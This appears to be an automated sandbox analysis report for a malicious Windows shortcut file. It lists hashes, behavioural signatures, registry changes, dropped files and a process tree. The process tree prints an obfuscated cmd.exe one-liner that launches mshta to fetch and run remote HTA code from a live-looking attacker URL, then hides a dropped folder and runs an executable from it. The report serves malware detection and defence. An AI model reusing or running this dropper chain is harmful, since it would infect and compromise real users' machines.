Analysis
- max time kernel
9s - max time network
148s - platform
windows11-ltsc_2024_x64 - resource
win11ltsc2024-20260709-en - resource tags
arch:x64arch:x86image:win11ltsc2024-20260709-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows - submitted
03/08/2026, 13:44
Static task
static1
Behavioral task
behavioral1
Sample
LeXNET-DOC-RVOTIP.lnk
Resource
win10v2004-20260513-en
Behavioral task
behavioral2
Sample
LeXNET-DOC-RVOTIP.lnk
Resource
win11ltsc2024-20260709-en
General
- Target LeXNET-DOC-RVOTIP.lnk
- Size 1KB
- Sample260803-q16dea1arg
- SHA256 25807491a24be000426a4b4c7737ee6d344fded2df1ed59ec05140ea4c1aeea1
- MD5 5669ef6b107b0cdd29098e7b4e05c0b2
- SHA1 ec27947ecaab9daf235936549b10c06efebf0d1d
- SHA512 698924b3617062f16536c0cb33ade65bf563973f3e6103254efd3e190a25cd7de35d9cc85d8bc68625b5d21699422ffd53601821e26aa4b4e9d18216d80b5fb3
- TLSH T149317B503FFD0664F3F79E7694BB572049BB78568D10C62D0140854C5073A01E57BF6B
- MD5 SHA1 SHA512 TLSH
Malware Config
Extracted
-
hta
-
hta.dropper
https://doc-acess.lat/h/estagio1.php?r=3F1477F15398D1
Signatures
- Badlisted process makes network request 5 IoCs
Network request originating from process or tool commonly abused by malware.
flow pid Process 2 2696 mshta.exe 3 2696 mshta.exe 4 2696 mshta.exe 5 2696 mshta.exe 6 2696 mshta.exe - Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
- Executes a command shell one-liner 1 TTPs 3 IoCs
Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.
pid Process 4256 cmd.exe 1688 cmd.exe 4212 cmd.exe - System Network Configuration Discovery: Internet Connection Discovery 1 TTPs 2 IoCs
Adversaries may check for Internet connectivity on compromised systems.
pid Process 4220 PING.EXE 4212 cmd.exe -
description ioc Process Set value (str) \REGISTRY\USER\S-1-5-21-3611646547-550105268-947503007-1000\Software\Microsoft\Internet Explorer\Main\WindowsSearch\Version = "WS not running" rundll32.exe Key created \REGISTRY\USER\S-1-5-21-3611646547-550105268-947503007-1000\Software\Microsoft\Internet Explorer\Main\WindowsSearch rundll32.exe Set value (str) \REGISTRY\USER\S-1-5-21-3611646547-550105268-947503007-1000\Software\Microsoft\Internet Explorer\Main\WindowsSearch\Version = "WS not running" rundll32.exe Key created \REGISTRY\USER\S-1-5-21-3611646547-550105268-947503007-1000\Software\Microsoft\Internet Explorer\Main\WindowsSearch rundll32.exe Set value (str) \REGISTRY\USER\S-1-5-21-3611646547-550105268-947503007-1000\Software\Microsoft\Internet Explorer\Main\WindowsSearch\Version = "WS not running" rundll32.exe Key created \REGISTRY\USER\S-1-5-21-3611646547-550105268-947503007-1000\Software\Microsoft\Internet Explorer\Main\WindowsSearch rundll32.exe Set value (str) \REGISTRY\USER\S-1-5-21-3611646547-550105268-947503007-1000\Software\Microsoft\Internet Explorer\Main\WindowsSearch\Version = "WS not running" rundll32.exe Key created \REGISTRY\USER\S-1-5-21-3611646547-550105268-947503007-1000\Software\Microsoft\Internet Explorer\Main\WindowsSearch rundll32.exe - Modifies registry class 16 IoCs
description ioc Process Key created \REGISTRY\USER\S-1-5-21-3611646547-550105268-947503007-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\windows_ie_ac_001\Internet Settings\Cache rundll32.exe Set value (int) \REGISTRY\USER\S-1-5-21-3611646547-550105268-947503007-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\windows_ie_ac_001\Internet Settings\Cache\Content\CacheVersion = "1" rundll32.exe Key created \REGISTRY\USER\S-1-5-21-3611646547-550105268-947503007-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\windows_ie_ac_001\Internet Settings\Cache\History rundll32.exe Key created \REGISTRY\USER\S-1-5-21-3611646547-550105268-947503007-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\windows_ie_ac_001\Internet Settings\Cache\Extensible Cache rundll32.exe Set value (int) \REGISTRY\USER\S-1-5-21-3611646547-550105268-947503007-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\windows_ie_ac_001\Internet Settings\Cache\Cookies\CacheVersion = "1" rundll32.exe Set value (int) \REGISTRY\USER\S-1-5-21-3611646547-550105268-947503007-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\windows_ie_ac_001\Internet Settings\Cache\Cookies\CacheLimit = "1" rundll32.exe Key created \REGISTRY\USER\S-1-5-21-3611646547-550105268-947503007-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\windows_ie_ac_001\Internet Settings rundll32.exe Key created \REGISTRY\USER\S-1-5-21-3611646547-550105268-947503007-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\windows_ie_ac_001\Internet Settings\Cache\Content rundll32.exe Set value (str) \REGISTRY\USER\S-1-5-21-3611646547-550105268-947503007-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\windows_ie_ac_001\Internet Settings\Cache\Content\CachePrefix rundll32.exe Set value (int) \REGISTRY\USER\S-1-5-21-3611646547-550105268-947503007-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\windows_ie_ac_001\Internet Settings\Cache\Content\CacheLimit = "51200" rundll32.exe Key created \REGISTRY\USER\S-1-5-21-3611646547-550105268-947503007-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\windows_ie_ac_001\Internet Settings\Cache\Cookies rundll32.exe Set value (str) \REGISTRY\USER\S-1-5-21-3611646547-550105268-947503007-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\windows_ie_ac_001\Internet Settings\Cache\Cookies\CachePrefix = "Cookie:" rundll32.exe Set value (str) \REGISTRY\USER\S-1-5-21-3611646547-550105268-947503007-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\windows_ie_ac_001\Internet Settings\Cache\History\CachePrefix = "Visited:" rundll32.exe Set value (int) \REGISTRY\USER\S-1-5-21-3611646547-550105268-947503007-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\windows_ie_ac_001\Internet Settings\Cache\History\CacheVersion = "1" rundll32.exe Key created \REGISTRY\USER\S-1-5-21-3611646547-550105268-947503007-1000_Classes\Local Settings\MuiCache rundll32.exe Set value (int) \REGISTRY\USER\S-1-5-21-3611646547-550105268-947503007-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\windows_ie_ac_001\Internet Settings\Cache\History\CacheLimit = "1" rundll32.exe - Runs ping.exe 1 TTPs 1 IoCs
pid Process 4220 PING.EXE - Script User-Agent 1 IoCs
Uses user-agent string associated with script host/environment.
description flow ioc HTTP User-Agent header 5 Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5) - Suspicious use of FindShellTrayWindow 5 IoCs
pid Process 1596 rundll32.exe 4216 rundll32.exe 4144 rundll32.exe 1884 rundll32.exe 2696 mshta.exe - Suspicious use of WriteProcessMemory 9 IoCs
description pid Process procid_target PID 4256 wrote to memory of 1688 4256 cmd.exe 90 PID 1688 wrote to memory of 2696 1688 cmd.exe 91 PID 2696 wrote to memory of 4216 2696 mshta.exe 93 PID 2696 wrote to memory of 1596 2696 mshta.exe 94 PID 2696 wrote to memory of 4144 2696 mshta.exe 95 PID 2696 wrote to memory of 1884 2696 mshta.exe 96 PID 2696 wrote to memory of 2768 2696 mshta.exe 97 PID 1884 wrote to memory of 5404 1884 rundll32.exe 99 PID 4144 wrote to memory of 3204 4144 rundll32.exe 100 - Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
- Uses Volume Shadow Copy WMI provider
The Volume Shadow Copy service is used to manage backups/snapshots.
- Uses Volume Shadow Copy service COM API
The Volume Shadow Copy service is used to manage backups/snapshots.
- Views/modifies file attributes 1 TTPs 1 IoCs
pid Process 2768 attrib.exe
Processes
-
C:\Windows\system32\cmd.execmd /c C:\Users\Admin\AppData\Local\Temp\LeXNET-DOC-RVOTIP.lnk1⤵
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
PID:4256 -
C:\WINDOWS\system32\cmd.exe"C:\WINDOWS\system32\cmd.exe" /V:on /c "set jx=msh&&set hBSe=ta&&start "" !jx!!hBSe! https://doc-acess.lat/h/estagio1.php?r=3F1477F15398D1"2⤵
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
PID:1688 -
C:\Windows\System32\mshta.exemshta https://doc-acess.lat/h/estagio1.php?r=3F1477F15398D13⤵
- Badlisted process makes network request
- Suspicious use of FindShellTrayWindow
- Suspicious use of WriteProcessMemory
PID:2696 -
C:\Windows\System32\rundll32.exe"C:\Windows\System32\rundll32.exe" InetCpl.cpl,ClearMyTracksByProcess 84⤵
- Modifies Internet Explorer settings
- Suspicious use of FindShellTrayWindow
PID:4216 -
C:\Windows\system32\rundll32.exeC:\Windows\system32\rundll32.exe C:\Windows\system32\inetcpl.cpl,ClearMyTracksByProcess Flags:8 WinX:0 WinY:0 IEFrame:00000000000000005⤵PID:1872
-
-
-
C:\Windows\System32\rundll32.exe"C:\Windows\System32\rundll32.exe" InetCpl.cpl,ClearMyTracksByProcess 84⤵
- Modifies Internet Explorer settings
- Suspicious use of FindShellTrayWindow
PID:1596 -
C:\Windows\system32\rundll32.exeC:\Windows\system32\rundll32.exe C:\Windows\system32\inetcpl.cpl,ClearMyTracksByProcess Flags:8 WinX:0 WinY:0 IEFrame:00000000000000005⤵PID:5720
-
-
-
C:\Windows\System32\rundll32.exe"C:\Windows\System32\rundll32.exe" InetCpl.cpl,ClearMyTracksByProcess 84⤵
- Modifies Internet Explorer settings
- Suspicious use of FindShellTrayWindow
- Suspicious use of WriteProcessMemory
PID:4144 -
C:\Windows\system32\rundll32.exeC:\Windows\system32\rundll32.exe C:\Windows\system32\inetcpl.cpl,ClearMyTracksByProcess Flags:8 WinX:0 WinY:0 IEFrame:00000000000000005⤵PID:3204
-
-
-
C:\Windows\System32\rundll32.exe"C:\Windows\System32\rundll32.exe" InetCpl.cpl,ClearMyTracksByProcess 84⤵
- Modifies Internet Explorer settings
- Suspicious use of FindShellTrayWindow
- Suspicious use of WriteProcessMemory
PID:1884 -
C:\Windows\system32\rundll32.exeC:\Windows\system32\rundll32.exe C:\Windows\system32\inetcpl.cpl,ClearMyTracksByProcess Flags:8 WinX:0 WinY:0 IEFrame:00000000000000005⤵
- Modifies registry class
PID:5404
-
-
-
C:\Windows\System32\attrib.exe"C:\Windows\System32\attrib.exe" +h +s "C:\fkulvamz\"4⤵
- Views/modifies file attributes
PID:2768
-
-
C:\fkulvamz\fkulvamz.exe"C:\fkulvamz\fkulvamz.exe" C:\fkulvamz\fkulvamz4⤵PID:5492
-
-
C:\Windows\System32\rundll32.exe"C:\Windows\System32\rundll32.exe" InetCpl.cpl,ClearMyTracksByProcess 84⤵PID:1072
-
C:\Windows\system32\rundll32.exeC:\Windows\system32\rundll32.exe C:\Windows\system32\inetcpl.cpl,ClearMyTracksByProcess Flags:8 WinX:0 WinY:0 IEFrame:00000000000000005⤵PID:4376
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c ping -n 300 -w 1000 127.0.0.1 >nul4⤵
- Executes a command shell one-liner
- System Network Configuration Discovery: Internet Connection Discovery
PID:4212 -
C:\Windows\System32\PING.EXEping -n 300 -w 1000 127.0.0.15⤵
- System Network Configuration Discovery: Internet Connection Discovery
- Runs ping.exe
PID:4220
-
-
-
-
Network
MITRE ATT&CK Enterprise v16
Replay Monitor
Loading Replay Monitor...
Downloads
- Path C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\050181E8A7D6C35C06DF1414C779370A
- Size 542B
- SHA256 0b16ece4859331ac4f1da2612feb71c27a833b5193108286ea909c69197f0b0f
- MD5 e199fdfe871d8f8fdf9146dc4af8e9cb
- SHA1 be19dd5c6c09d181c995390e663528d7a1c7ce08
- SHA512 dd0dcb3fb34eb6fc60160acf25cabefc7d60255b6c34564ded9ceec8267084542c5d5f725b8940faabfd8d04dbda4054783742d24805b752cce2d7543e442ee1
- TLSH T149F0EB898E2D655113FAEA60A8A8C8836CFD8482097570311AA28B104856B8FEA632C9
- MD5 SHA1 SHA512 TLSH
- Path C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\8B2B9A00839EED1DFDCCC3BFC2F5DF12
- Size 1KB
- SHA256 63b14543360f5e89942ea8d5113526e64fbc71c1207328f0136b3a495d921dd0
- MD5 adac67e1d2da2d706db151c2db316b2d
- SHA1 5f6e301d23e33132209707945d0e740d5bcb8996
- SHA512 9371b62ac25c6ea8fb6fca19ac47b873ced9b3d0cb45ce4de5ea974b93c12684c65aa23c7d83331c77502853258a08dff73ce5e3fb6170bd3ab1c5b3283a86a9
- TLSH T1DE31AD4EA2153027D5427F72D8CEBE83CEB1364667CAD46B18046E4229AAFC25FC80C9
- MD5 SHA1 SHA512 TLSH
- Path C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\B46811C17859FFB409CF0E904A4AA8F8
- Size 528B
- SHA256 d2bb091268ade68ad8121d2184d0fbce128070156304bd4de312e6fbd267409c
- MD5 047f3e9d21d6b325d592b1959e4362e6
- SHA1 5aeef5f985171cd69da397fd039854e44ebecdd2
- SHA512 4523896ed4a03afafd2075d8c8947236d34fe1da2c246a3f90c2be2a5c151c18bc58a6cde5a209abb8e06e80f662e24d0149640b3e98e8a872bfa8a04ef592a4
- TLSH T147F0500990082252C855FF55DFD6AC97DC76336136E595036D458E410C12F96AF950F5
- MD5 SHA1 SHA512 TLSH
- Path C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\050181E8A7D6C35C06DF1414C779370A
- Size 192B
- SHA256 440418bfce3a7b3f807792c58e6f339441d8a64431a0b091164e0f93e2bee392
- MD5 35e06eda6fae9190a3cbe537bc46b0ac
- SHA1 ef39f931a9ef47dc4150e33495b7884b3e0e5e2b
- SHA512 5a29106282d6a1d48dc04a17aba5e2cfc8f562cd592bcbe03929d210d61110da363833428b1d0c3705046f297df3a98364339d1856aa7e7b726fba5e41b059b0
- TLSH T1FCC08C027366094EF238023E09B2B70267FCF184DA92830E7FB401555229AB02A30E01
- MD5 SHA1 SHA512 TLSH
- Path C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\8B2B9A00839EED1DFDCCC3BFC2F5DF12
- Size 174B
- SHA256 ef0352104e30a73bef7971fa393f27e037d68a15c2893e5def196c765a739dff
- MD5 cfdc707c4d99981ff00697b4b19b98b4
- SHA1 c18b3ebebfb7b5ee499093cae765c59ef64b591b
- SHA512 43733bd46a8290aed7c61807fb5918136336e8f522b35a48e3900932072a06b05de02844e983e3d00b6e08335d5af019688974d14a57978d2cb2e9aaf76c9685
- TLSH T1F6C02B0433B20155F2700D7F1643530187FAE100CD81C3500F301218C21CB024CF0D02
- MD5 SHA1 SHA512 TLSH
- Path C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\B46811C17859FFB409CF0E904A4AA8F8
- Size 170B
- SHA256 a983491f220453e8e91d82ddb3c6828282ed960a2a0221c9d08fdbe87e47bbc8
- MD5 faebe3cce30237dba53b076ba4568537
- SHA1 371648159c5d96aac15d43e958cb700f99915588
- SHA512 5e8a6224ddafa6e4bea667283b5425b287f1d10d65db0fe9e26cd9c5453c41bba64603a799d88f93d5070c684286215bb1128cad74326deb7fe38075926cc1b1
- TLSH T136C09214B3AA471AF10E213E79E71A055BBA820AF6DAC3045BB911388A28A5518B2D09
- MD5 SHA1 SHA512 TLSH
- Path C:\fkulvamz\a1.zip
- Size 494KB
- SHA256 4bae16ed700b180950cf4089879bf10844d7827b1716b000cbca8be1111c3162
- MD5 c2c1e46a547a4b850c46064ac110bb83
- SHA1 64e50d87cdfa9ce49f86b6fef3386e79e91d8b01
- SHA512 6a5c40c512ceac6181b4b1a66d7c04f8f0ca73d895acd9d72ad71bfe282f090d546e6f8cd72ab8185652f5e9e1a5f18604a5d238e0d5a710a821fc597279df48
- SSDEEP 12288:9xU7hblQnL+/dh+Gez4yOGtBan225oCWp8SrIF:9q7hblmK/dgGeVlk22aCarIF
- TLSH T119B4231C22C5BD086D3D97FB58539F7405E6669E14B8024CE18B73C4ABCEF815F829E5
- MD5 SHA1 SHA512 SSDEEP TLSH
- Path C:\fkulvamz\a2.zip
- Size 1.3MB
- SHA256 de40dd8452379b8b617091755cb5b73fb0a11d4c6cae43d08a5689a00432b000
- MD5 b5d75a479d609cd6bd9346d867f85015
- SHA1 5d93bf375bcd1bc28670d8414c57b2e19595fd4c
- SHA512 42ee6e0a7ab30a5cc1a3f3bb99ceb445fadb6601c3dabee64cb7f68aabef65d27b00ac42ecf1bef10f382a0b34ba5f049897cc6347289a61529bf2bbb17d8369
- SSDEEP 24576:hAQYltjM5BqgdnjIyK2UxYGAXTZWyutR+kXM0JyU9mSff3Pc7pOU5JLMiw:hAQUgNIkUx6TZW58kX9UU9mcfUF5J4iw
- TLSH T1CA5533F2195136CAA1ACBC1F05F057D581867C9ABBFE2B4E3641308E0D15F91BEB9268
- MD5 SHA1 SHA512 SSDEEP TLSH
- Path C:\fkulvamz\a3.zip
- Size 2KB
- SHA256 ce76cc99b3bd7e1999a347edc473ee4310651f45b81b78928fa407119fb63581
- MD5 6f64c121bd8e27bbbf67d972f9d78e8e
- SHA1 5a190746751eed5c80704c0be8b4dc9e1f51658e
- SHA512 6e37f8dd7b9d4a5c769b5e26a5a85ee0737383679f7b41f184251827e8d2d0871aa6335aefcf214db48923d57e08230bf1e6730ed82979f42eb08152a88e6980
- TLSH T1B9413AE89D7CBE91D28E79749A2458B195372EC489C061791EBEEC082130299CA2F42C
- MD5 SHA1 SHA512 TLSH
- Path C:\fkulvamz\fkulvamz
- Size 1.3MB
- SHA256 c7f22abb4ddd7fdb324bf80faa5449654a899c22ffc5ab8d5988be10e4a51ea4
- MD5 9c4bd2c3a1bc7bd93bad88e795576cc7
- SHA1 70ad55f52d1ca30b0b218ff3aa21c2aed48e75c7
- SHA512 6279ae4c2b30959d068cf31bfd9bae01c729a6891fd076bc21725f86a2446d7bc6ed2c8c188db55d18ea662d686b6f26191405429ecfadba7a38fa49e5e76709
- SSDEEP 24576:xAsY9j7ud5qghDjIKoUU94G2X5ZOaut1+edMyJyU9kGfX3Pc7TiUnBL9iu:xAssgxIuU985ZOBoed9UU9k4XU/nBBiu
- TLSH T1C15533F2195136CAA1E8BC1F05F057D581867C9ABFFE2B4E3641308E0D15F91BEB9268
- MD5 SHA1 SHA512 SSDEEP TLSH
- Path C:\fkulvamz\fkulvamz.exe
- Size 957KB
- SHA256 bdd2b7236a110b04c288380ad56e8d7909411da93eed2921301206de0cb0dda1
- MD5 279274f8a137bf31425a9c2c14444b66
- SHA1 6f7f971406854309d94139aa70bdc772308aff52
- SHA512 2e69e99ae2c2f0c3361351853ecfcd1982ea542ef8aff9314e991642f106a87d45479f21f53367ad93b29ce9d98b60706ff9554a9c9d2a793fbed1589b90a85d
- SSDEEP 24576:8SmEH7kpRArkvBz1oxovFDVeAj2HoB3a33rfBH:827kpRA4R1oGDVeQXsrf
- TLSH T11B259E0373D18022FF93A9721E5FE72656BC6D2A0323956F13D81EB9F9305B14A1E672
- MD5 SHA1 SHA512 SSDEEP TLSH